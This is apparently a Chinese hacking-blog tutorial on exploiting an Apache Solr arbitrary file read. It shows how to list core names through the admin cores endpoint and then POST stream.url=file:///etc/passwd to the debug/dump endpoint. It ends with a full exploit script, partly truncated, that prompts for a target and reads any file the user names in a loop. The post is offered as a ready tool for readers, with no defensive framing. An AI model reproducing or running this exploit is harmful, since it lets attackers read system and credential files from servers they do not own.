黑客19 – 引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!
利用漏洞很简单,但网上说的不是很完整。
首先,我们需要访问:
/solr/admin/cores?indexInfo=false&wt=json
然后查看相应的数据:
{ "responseHeader":{ "status":0, "QTime":0}, "initFailures":{}, "status":{ "ingredients":{ "name":"ingredients", "instanceDir":"/var/solr/data/ingredients", "dataDir":"/var/solr/data/ingredients/data/", "config":"solrconfig.xml", "schema":"schema.xml", "startTime":"2021-03-18T11:41:26.398Z", "uptime":211644}}}
几乎这样,ingredients我们需要的
构造路径:
"/solr/".ins."/debug/dump?param=ContentStreams&wt=json"
ins我们得到的实例对象的名称
他们说他们会回来xml格式,网上没有wt=json,但我发现,dump接受这个参数也会输出json格式
而且我们在上面ins可以判断服务器的类型
以上应为:
/solr/ingredients/debug/dump?param=ContentStreams&wt=json
然后是个post数据包,路径有,内容如下:
stream.url=file:///etc/passwd
还会得到一个json,这里没有结果
最后附上exp:
#define insqian = "name":"#define inshou = "#define contentqian = "stream":"#define contenthou = "}]function Getinstance(url){ res = HttpGetSafe(url."/solr/admin/cores?indexInfo=false&wt=json","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"); if(StrFindStr(res[0],"initFailures",0) == "-1"){ return ""; } return GettextMiddle(res[0],insqian,inshou);}function GetFileContent(url,ins,FilePath){ res = HttpPostSafe(url."/solr/".ins."/debug/dump?param=ContentStreams&wt=json","stream.url=file://".FilePath,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"); con = GettextMiddle(res[0],contentqian,contenthou); return StrReplace(con,"\\n",StrRN()function main(args){ print("请输入测试站点:"); url = input(); ins = Getinstance(url); if(ins == ""){ print("不存在漏洞"); }else{ print("可能有漏洞,instanceName:".ins.",请输入要查看的文件名称:"); wb = input(); while(wb != "exit"){ print(GetFileContent(url,ins,wb)); wb = input()
带一张效果图:
这个渗透教程到此结束!希望大家看看借鉴。如果您有技术咨询,请联系我们
黑客19引领实战潮流,回归技术本质,以行动推动行业技术进步
唯一的联系方式[email protected] 和 [email protected]
欢迎转载,但请注明原始链接,谢谢!